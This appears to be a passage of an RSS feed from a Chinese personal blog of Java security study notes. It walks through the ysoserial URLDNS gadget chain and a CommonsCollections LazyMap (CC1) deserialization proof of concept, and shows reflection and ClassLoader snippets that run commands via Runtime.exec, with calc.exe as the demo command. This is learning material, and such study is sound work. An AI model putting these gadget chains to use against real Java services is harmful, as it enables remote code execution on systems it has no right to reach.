&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/48.png&quot; alt=&quot;image-20240704174459771&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/49.png&quot; alt=&quot;image-20240704174515533&quot;&gt;&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;Controller&lt;/code&gt;中调用：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/50.png&quot; alt=&quot;image-20240704174750039&quot;&gt;&lt;/p&gt;
&lt;h5&gt;测试&lt;/h5&gt;
&lt;p&gt;可以看到测试有数据&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/51.png&quot; alt=&quot;image-20240704174842874&quot;&gt;&lt;/p&gt;
&lt;h4&gt;权限管家&lt;/h4&gt;
&lt;p&gt;&lt;a href=&quot;https://www.yuque.com/zhangzhijun-91vgw/sl-v2.0/cfxu8gt17bc593qa&quot;&gt;权限管家使用说明&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;改造登录接口为权限管家的接口&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/52.png&quot; alt=&quot;image-20240705150255954&quot;&gt;&lt;/p&gt;
&lt;p&gt;测试&lt;/p&gt;
&lt;p&gt;可以看到测试成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images/53.png&quot; alt=&quot;image-20240705150518581&quot;&gt;&lt;/p&gt;</content:encoded><category>项目开发</category></item><item><title>小程序漏洞</title><link>https://antifrag.cn/blog/%E5%B0%8F%E7%A8%8B%E5%BA%8F%E6%BC%8F%E6%B4%9E</link><guid isPermaLink="true">https://antifrag.cn/blog/%E5%B0%8F%E7%A8%8B%E5%BA%8F%E6%BC%8F%E6%B4%9E</guid><description>个人学习笔记</description><pubDate>Sun, 30 Jun 2024 09:23:17 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/web/%E5%B0%8F%E7%A8%8B%E5%BA%8F%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E.png&quot; alt=&quot;小程序逻辑漏洞&quot;&gt;&lt;/p&gt;</content:encoded><category>网络安全</category></item><item><title>常见web漏洞</title><link>https://antifrag.cn/blog/web%E5%AE%89%E5%85%A8</link><guid isPermaLink="true">https://antifrag.cn/blog/web%E5%AE%89%E5%85%A8</guid><description>个人学习笔记</description><pubDate>Sun, 30 Jun 2024 09:22:17 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/web/WEB%E5%AE%89%E5%85%A8.png&quot; alt=&quot;WEB安全&quot;&gt;&lt;/p&gt;</content:encoded><category>网络安全</category></item><item><title>URLDNS审计</title><link>https://antifrag.cn/blog/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-urldns%E5%AE%A1%E8%AE%A1</link><guid isPermaLink="true">https://antifrag.cn/blog/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-urldns%E5%AE%A1%E8%AE%A1</guid><description>ysoserial(https://github.com/frohoff/ysoserial)</description><pubDate>Tue, 23 Apr 2024 07:41:00 GMT</pubDate><content:encoded>&lt;p&gt;ysoserial(https://github.com/frohoff/ysoserial)&lt;/p&gt;
&lt;p&gt;URLDNS源码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;@PayloadTest(skip = &quot;true&quot;)
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload&amp;#x3C;Object&gt; {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field &amp;#x3C;code&gt;java.net.URL.handler&amp;#x3C;/code&gt; is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, &quot;hashCode&quot;, -1); // During the put above, the URL&apos;s hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * &amp;#x3C;p&gt;This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.&amp;#x3C;/p&gt;
         *
         * &amp;#x3C;b&gt;Potential false negative:&amp;#x3C;/b&gt;
         * &amp;#x3C;p&gt;If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.&amp;#x3C;/p&gt;
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;该Java类是一个用于payload测试的工具类，实现了ObjectPayload接口，其主要功能是通过构造一个特殊的URL对象并将其放入HashMap中，来触发DNS解析。
具体实现如下：
通过创建一个SilentURLStreamHandler对象来避免DNS解析。
创建一个HashMap对象，并使用URL对象作为键，将URL字符串作为值放入其中。
通过反射重置URL对象的hashCode值，以触发下次调用hashCode时的DNS查找。
返回包含URL的HashMap对象。
该类还包含一个main方法，用于通过PayloadRunner运行该类。
静态内部类SilentURLStreamHandler继承自URLStreamHandler，重写了openConnection和getHostAddress方法，以避免打开连接和获取主机地址时进行DNS解析。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;/**
 * 从流中重构此映射（即反序列化它）。
 * @param s 输入流
 * @throws ClassNotFoundException 如果序列化对象的类找不到
 * @throws IOException 如果发生I/O错误
 */
@java.io.Serial
private void readObject(ObjectInputStream s)
    throws IOException, ClassNotFoundException {

    ObjectInputStream.GetField fields = s.readFields();

    // 读取loadFactor（忽略阈值）
    float lf = fields.get(&quot;loadFactor&quot;, 0.75f);
    if (lf &amp;#x3C;= 0 || Float.isNaN(lf))
        throw new InvalidObjectException(&quot;Illegal load factor: &quot; + lf);

    // 调整loadFactor的值，确保其在有效范围内
    lf = Math.min(Math.max(0.25f, lf), 4.0f);
    HashMap.UnsafeHolder.putLoadFactor(this, lf);

    // 重新初始化HashMap
    reinitialize();

    // 读取并忽略桶的数量
    s.readInt();
    int mappings = s.readInt(); // 读取映射数量（大小）
    if (mappings &amp;#x3C; 0) {
        throw new InvalidObjectException(&quot;Illegal mappings count: &quot; + mappings);
    } else if (mappings == 0) {
        // 如果映射数量为0，则使用默认值
    } else if (mappings &gt; 0) {
        // 根据映射数量和loadFactor计算容量
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc &amp;#x3C; DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc &gt;= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        // 计算阈值
        threshold = ((cap &amp;#x3C; MAXIMUM_CAPACITY &amp;#x26;&amp;#x26; ft &amp;#x3C; MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);

        // 检查数组是否符合预期的类型
        SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
        // 创建并初始化节点数组
        @SuppressWarnings({&quot;rawtypes&quot;,&quot;unchecked&quot;})
        Node&amp;#x3C;K,V&gt;[] tab = (Node&amp;#x3C;K,V&gt;[])new Node[cap];
        table = tab;

        // 读取键值对，并将其放入HashMap中
        for (int i = 0; i &amp;#x3C; mappings; i++) {
            // 反序列化键和值，并添加到映射中
            @SuppressWarnings(&quot;unchecked&quot;)
                K key = (K) s.readObject();
            @SuppressWarnings(&quot;unchecked&quot;)
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过调试&lt;code&gt;putVal(hash(key), key, value, false, false);&lt;/code&gt;这行进入到&lt;code&gt;hash&lt;/code&gt;里面查看&lt;code&gt;hash&lt;/code&gt;是如何组成的&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h &gt;&gt;&gt; 16);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进入&lt;code&gt;hash&lt;/code&gt;后我们发现他的值有调用了&lt;code&gt;hashcode&lt;/code&gt;我们再次进入到&lt;code&gt;hashcode&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当hashcode != -1 时，返回hashcode&lt;/p&gt;
&lt;p&gt;我们先继续调试&lt;/p&gt;
&lt;p&gt;进入到&lt;code&gt;hashCode = handler.hashCode(this);&lt;/code&gt;里面的&lt;code&gt;hashCode()&lt;/code&gt;函数&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }

    // Generate the file part.
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();

    // Generate the port part.
    if (u.getPort() == -1)
        h += getDefaultPort();
    else
        h += u.getPort();

    // Generate the ref part.
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();

    return h;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这里我们能看到关键的&lt;code&gt;getHostAddress()&lt;/code&gt;函数&lt;/p&gt;
&lt;p&gt;我们再次进入到内部&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;protected synchronized InetAddress getHostAddress(URL u) {
    if (u.hostAddress != null)
        return u.hostAddress;

    String host = u.getHost();
    if (host == null || host.equals(&quot;&quot;)) {
        return null;
    } else {
        try {
            u.hostAddress = InetAddress.getByName(host);
        } catch (UnknownHostException ex) {
            return null;
        } catch (SecurityException se) {
            return null;
        }
    }
    return u.hostAddress;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个函数能够获取到IP地址&lt;/p&gt;
&lt;p&gt;当hashcode != -1 时，返回hashcode&lt;/p&gt;
&lt;p&gt;我们将&lt;code&gt;hashcode = -1&lt;/code&gt;则返回进入&lt;code&gt;hashCode()&lt;/code&gt; 则可进入到&lt;code&gt;getHostAddress() &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这⾥ &lt;code&gt;InetAddress.getByName(host)&lt;/code&gt;的作⽤是&lt;code&gt;根据&lt;/code&gt;主机名，&lt;code&gt;获取&lt;/code&gt;其IP地址，在⽹络上其实就是⼀次&lt;/p&gt;
&lt;p&gt;DNS查询&lt;/p&gt;
&lt;p&gt;整个 URLDNS 的Gadget其实清晰⼜简单：&lt;/p&gt;
&lt;p&gt;| 1. HashMap-&gt;readObject()              |
| ------------------------------------- |
| 2. HashMap-&gt;hash()                    |
| 3. URL-&gt;hashCode()                    |
| 4. URLStreamHandler-&gt;hashCode()       |
| 5. URLStreamHandler-&gt;getHostAddress() |
| 6. InetAddress-&gt;getByName()           |&lt;/p&gt;</content:encoded><category>网络安全</category></item><item><title>LazyMap审计</title><link>https://antifrag.cn/blog/lazymap</link><guid isPermaLink="true">https://antifrag.cn/blog/lazymap</guid><description>LazyMap是什么？</description><pubDate>Tue, 23 Apr 2024 07:18:00 GMT</pubDate><content:encoded>&lt;h2&gt;LazyMap是什么？&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;LazyMap&lt;/code&gt;和&lt;code&gt;TransformedMap&lt;/code&gt;类似，都来自于&lt;code&gt;Common-Collections&lt;/code&gt;库，并继承自&lt;code&gt;AbstractMapDecorator&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;而在LazyMap中，调用map.put()的方式是 当&lt;code&gt;get&lt;/code&gt;方法里面在获取的值为空时，会使用&lt;code&gt;factory.transfor()&lt;/code&gt;方法去获取值&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;AnnotationInvocationHandler&lt;/code&gt;类的&lt;code&gt;invoke&lt;/code&gt;方法有调用到&lt;code&gt;get&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Java对象代理&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Proxy.newProxyInstance &lt;/code&gt;的第一个参数是&lt;code&gt;ClassLoader&lt;/code&gt;，我们用默认的即可；第二个参数是我们需要&lt;/p&gt;
&lt;p&gt;代理的&lt;code&gt;对象集合&lt;/code&gt;；第三个参数是一个实现了&lt;code&gt;InvocationHandler&lt;/code&gt;接口的对象，里面包含了具体代理的逻&lt;/p&gt;
&lt;p&gt;辑。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;Map proxyMap =  (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;使用LazyMap构造利用链&lt;/h3&gt;
&lt;p&gt;首先使用&lt;code&gt;LazyMap&lt;/code&gt;替换&lt;code&gt;TransformedMap&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;Map outerMap = LazyMap.decorate(innerMap,transformerChain);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后，对&lt;code&gt;sun.reflect.annotation.AnnotationInvocationHandler&lt;/code&gt;对象进行&lt;code&gt;Proxy&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;Class&amp;#x3C;?&gt; clazz = Class.forName(&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;);
Constructor&amp;#x3C;?&gt; construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler hadnler =    (InvocationHandler)construct.newInstance(Retention.class,outerMap);

Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;POC&lt;/h3&gt;
&lt;p&gt;此POC在java8高版本中无法使用&lt;/p&gt;
&lt;p&gt;则会显示&lt;code&gt;java.lang.annotation.Retention missing element entrySet&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这是由于&lt;code&gt;AnnotationInvocationHandler&lt;/code&gt;在高版本中改变了readObject的逻辑，不再使用我们精心构造的&lt;code&gt;LazyMap&lt;/code&gt;而是使用自己新建的&lt;code&gt;LinkedHashMap&lt;/code&gt;，导致该对象无法获得&lt;code&gt;entrySet&lt;/code&gt;的内容，所以会报前面的这个错误&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;package l0set;

import java.util.HashMap;
import java.util.Map;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(1),
        };
        Transformer[] fakeTransformer = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(&quot;getMethod&quot;,new Class[]{String.class,Class[].class},new Object[]{&quot;getRuntime&quot;,new Class[0]}),
            new InvokerTransformer(&quot;invoke&quot;,new Class[]{Object.class,Object[].class}, new Object[]{null,new Object[0]}),
            new InvokerTransformer(&quot;exec&quot;, new Class[]{String.class},new Object[]{&quot;C:\\WINDOWS\\System32\\calc.exe&quot;} ),
            new ConstantTransformer(1),
        };

        Transformer transformerChain = new ChainedTransformer(fakeTransformer);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class&amp;#x3C;?&gt; clazz = Class.forName(&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;);
        Constructor&amp;#x3C;?&gt; construct = clazz.getDeclaredConstructor();
        construct.setAccessible(true);
        InvocationHandler handler =(InvocationHandler) construct.newInstance(Retention.class,outerMap);

        //代理
        Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
        handler = (InvocationHandler)construct.newInstance(Retention.class,proxyMap);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(handler);
        oos.close();

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        Object o = (Object)ois.readObject();


    }
}
&lt;/code&gt;&lt;/pre&gt;</content:encoded><category>网络安全</category></item><item><title>Java反射(二)</title><link>https://antifrag.cn/blog/%E5%8F%8D%E5%B0%842</link><guid isPermaLink="true">https://antifrag.cn/blog/%E5%8F%8D%E5%B0%842</guid><description>在一个类中没有无参构造方法，也没有类似单列模式留下的静态方法</description><pubDate>Tue, 23 Apr 2024 07:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;在一个类中没有无参构造方法，也没有类似单列模式留下的静态方法&lt;/h2&gt;
&lt;p&gt;我们可以使用新方法 &lt;strong&gt;getConstructor&lt;/strong&gt; .&lt;/p&gt;
&lt;p&gt;和&lt;strong&gt;getMethod&lt;/strong&gt;类似，&lt;strong&gt;getConstructor&lt;/strong&gt; 接收的参数是构造函数列表类型，因为构造函数也支持重载，&lt;/p&gt;
&lt;p&gt;所以必须用参数列表类型才能唯一确定一个构造函数。&lt;/p&gt;
&lt;p&gt;我们常用的另一种执行方法是 &lt;strong&gt;ProcessBuilder&lt;/strong&gt;，我们使用反射来获取其构造函数，然后调用**start()**来执行函数&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;Class&amp;#x3C;?&gt; clazz = Class.forName(&quot;java.lang.ProcessBuilder&quot;);
((ProcessBuilder)clazz.Constructor(List.class).newInstance(Arrays.asList(&quot;calc.exe&quot;))).start();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ProcessBuilder有两个构造函数&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;public ProcessBuilder(List command)&lt;/li&gt;
&lt;li&gt;public ProcessBuilder(String... command)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;先讲上面那个进行反射转换&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;Class&amp;#x3C;?&gt; clazz = Class.forName(&quot;java.lang.ProcessBuilder&quot;);
clazz.getMethod(&quot;start&quot;).invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList(&quot;calc.exe&quot;)));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/java-images/image-5.png&quot; alt=&quot;image-20240218150012026&quot;&gt;&lt;/p&gt;
&lt;p&gt;因为&lt;strong&gt;ProcessBuilder&lt;/strong&gt;有两个构造函数，所以我们还有另外一种写法&lt;/p&gt;
&lt;p&gt;public ProcessBuilder(String... command) 这个构造函数涉及到了变长参数（varargs）&lt;/p&gt;
&lt;p&gt;对于可变长参数，Java其实在编译的时候会编译成一个数组，也就是说，如下这两种写法在底层是等价&lt;/p&gt;
&lt;p&gt;的（也就不能重载）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;public void Hello(String[] names){}
public void Hello(String...names){}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么对于反射来说，如果要获取的目标函数里包含可变长参数，其实我们认为它是数组就行了。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;Class&amp;#x3C;?&gt; clazz = Class.forName(&quot;java.lang.ProcessBuilder&quot;);
clazz.getConstructor(String[].class)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在调用 &lt;strong&gt;newInstance&lt;/strong&gt; 的时候，因为这个函数本身接收的是一个可变长参数，我们传给&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ProcessBuilder&lt;/strong&gt; 的也是一个可变长参数，二者叠加为一个二维数组，所以整个Payload如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;Class&amp;#x3C;?&gt; clazz = Class.forName(&quot;java.lang.ProcessBuilder&quot;);
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new String[][]{{&quot;calc.exe&quot;}})).start();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进行反射转换&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;Class&amp;#x3C;?&gt; clazz = Class.forName(&quot;java.lang.ProcessBuilder&quot;);
clazz.getMethod(&quot;start&quot;).invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{&quot;calc.exe&quot;}}));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/java-images/image-6.png&quot; alt=&quot;image-20240218151451818&quot;&gt;&lt;/p&gt;
&lt;h2&gt;如果一个方法是构造方法或是私有方法，我们该如何执行&lt;/h2&gt;
&lt;p&gt;使用方法&lt;strong&gt;getDeclared&lt;/strong&gt;系列的反射，与普通的&lt;strong&gt;getMethod&lt;/strong&gt;、&lt;strong&gt;getConstructor&lt;/strong&gt;的区别是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;getMethod&lt;/strong&gt; 系列方法获取的是当前类中所有公共方法，包括从父类继承的方法&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;getDeclaredMethod&lt;/strong&gt; 系列方法获取的是当前类中“声明”的方法，是实在写在这个类里的，包括私有的方法，但从父类里继承来的就不包含了&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;Class&amp;#x3C;?&gt; clazz = Class.forName(&quot;java.lang.Runtime&quot;);
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod(&quot;exec&quot;,String.class).invoke(m.newInstance(),&quot;calc.exe&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里使用了一个方法 &lt;strong&gt;setAccessible&lt;/strong&gt; ，这个是必须的。我们在获取到一个私有方法后，必须用&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;setAccessible&lt;/strong&gt; 修改它的作用域，否则仍然不能调用&lt;/p&gt;</content:encoded><category>网络安全</category></item><item><title>ClassLoader(类加载器)</title><link>https://antifrag.cn/blog/classloader%E5%9F%BA%E7%A1%80</link><guid isPermaLink="true">https://antifrag.cn/blog/classloader%E5%9F%BA%E7%A1%80</guid><description>**JVM默认加载器分为四种**</description><pubDate>Tue, 23 Apr 2024 06:59:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;JVM默认加载器分为四种&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;BootstrapClassLoader（引导类加载器）&lt;/p&gt;
&lt;p&gt;ExtensionClassLoader（扩展类加载器）&lt;/p&gt;
&lt;p&gt;AppClassLoader（App加载器）&lt;/p&gt;
&lt;p&gt;UserDefineClassLoader（自定义加载器）&lt;/p&gt;
&lt;h4&gt;双亲委派机制&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/classloader/1.png&quot; alt=&quot;图片&quot;&gt;&lt;/p&gt;
&lt;p&gt;JVM三种加载器相互配合使用，按需加载，当我们需要使用该类的时候，就会生成class文件加载到内存当中生成class对象使用，加载的过程使用的就是双亲外派机制，如上图&lt;/p&gt;
&lt;p&gt;双亲委派就是特定的加载器接收到了加载类的请求，然后会先将任务委托给父类来进行请求，父类接收到请求，如果它还有父类他就会继续向上请求，接着请求父类加载这个类，当父类无法加载这个类时，就会向下返回给子类，字类加载器才会进行加载。&lt;/p&gt;
&lt;h4&gt;双亲委派的好处&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;避免了重复加载使用&lt;/li&gt;
&lt;li&gt;保证java库的安全，从外部接收到包的时候，不会将其随便解析，会先进行双亲委派进行判断，保证我们的java核心库不会被恶意篡改,类似出现用户自定义java.lang.Object类的情况&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;ClassLoader&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;loadClass 加载指定的Java类&lt;/li&gt;
&lt;li&gt;findLoadedCLass 查找JVM已经加载过的类&lt;/li&gt;
&lt;li&gt;defineClass 定义一个Java类，将字节码解析成虚拟机识别的Class对象&lt;/li&gt;
&lt;li&gt;findClass 查找指定的Java类&lt;/li&gt;
&lt;li&gt;resolveClass 链接指定的Java类&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;URLClassLoader&lt;/h3&gt;
&lt;p&gt;URLClassLoader类继承CLassLoader类，可以加载本地磁盘和网络种的jar包类文件&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;package com.test;
public class Test {
    public Test(){
        System.out.println(&quot;Test success!!&quot;);
        try{
            Runtime.getRuntime().exec(&quot;cmd /c calc.exe&quot;);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用javac编译，在D盘生成class文件&lt;/p&gt;
&lt;h4&gt;1. 本地磁盘class文件调用&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;package com.Classloader;

import java.io.*;
import java.net.URL;
import java.net.URLClassLoader;

public class CLassLoaderTest{
    public static &amp;#x3C;Url&gt; void main(String []args) throws Exception {
        File file = new File(&quot;d:/&quot;);
        URL url = file.toURI().toURL();

        URLClassLoader classloader = new URLClassLoader(new URL[]{url});
        Class clazz = classloader.loadClass(&quot;com.test.Test&quot;);
        clazz.newInstance();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过file获取到文件路径，利用URLClassLoader方式去获取D盘中的Test.class文件，使用loadclass获取包名，最后使用newInstance()函数调用对象 实例化。运行后会解析Teest.class文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/classloader/2.png&quot; alt=&quot;image-20231226215423239&quot;&gt;&lt;/p&gt;
&lt;h4&gt;2. 网络传输class文件调用&lt;/h4&gt;
&lt;p&gt;我们在Test.class文件下开启Tomcat服务。新建ClassLoaderDemo类网络加载Tomcat服务器中的Test.class&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;package com.Classloader;

import java.net.URL;
import java.net.URLClassLoader;

public class ClassLoaderDemo {
    public static void main(String[] args) throws Exception {
        URL url = new URL(&quot;http://localhost:8080/examples/&quot;);
        URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
        Class clazz = classLoader.loadClass(&quot;com.test.Test&quot;);
        clazz.newInstance();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里使用URLClassLoader加载网络中的Tomcat服务器目录，成功解析获取到了目录下的Test.class文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/classloader/3.png&quot; alt=&quot;image-20231226220418062&quot;&gt;&lt;/p&gt;
&lt;h3&gt;ClassLoader总结&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;ClassLoader&lt;/code&gt;是JVM中一个非常重要的组成部分，&lt;code&gt;ClassLoader&lt;/code&gt;可以为我们加载任意的java类，通过自定义&lt;code&gt;ClassLoader&lt;/code&gt;更能够实现自定义类加载行为。&lt;/p&gt;</content:encoded><category>网络安全</category></item><item><title>Java反射</title><link>https://antifrag.cn/blog/%E5%8F%8D%E5%B0%84</link><guid isPermaLink="true">https://antifrag.cn/blog/%E5%8F%8D%E5%B0%84</guid><description>通常我们想用一个类的时候，首先需要先调用import，而通过反射里面的**forName**可以直接调用该类</description><pubDate>Tue, 23 Apr 2024 06:35:00 GMT</pubDate><content:encoded>&lt;p&gt;通常我们想用一个类的时候，首先需要先调用import，而通过反射里面的&lt;strong&gt;forName&lt;/strong&gt;可以直接调用该类&lt;/p&gt;
&lt;p&gt;获取到类后，我们可以进一步的调用其属性、方法，也可先实例化后，在进行方法的调用&lt;/p&gt;
&lt;p&gt;使用**newInstance()**可以调用无参构造函数&lt;/p&gt;
&lt;p&gt;**newInstance()**可能会调用失败，原因可能是&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;你使用的类不是无参构造函数&lt;/li&gt;
&lt;li&gt;你使用的可能是私有构造方法&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;使用 &lt;strong&gt;java.lang.Runtime&lt;/strong&gt;举例&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;Class clazz = Class.forName(&quot;java.lang.Runtime&quot;);
clazz.getMethod(&quot;exec&quot;,String.class).invoke(clazz.newInstance(),&quot;id&quot;);
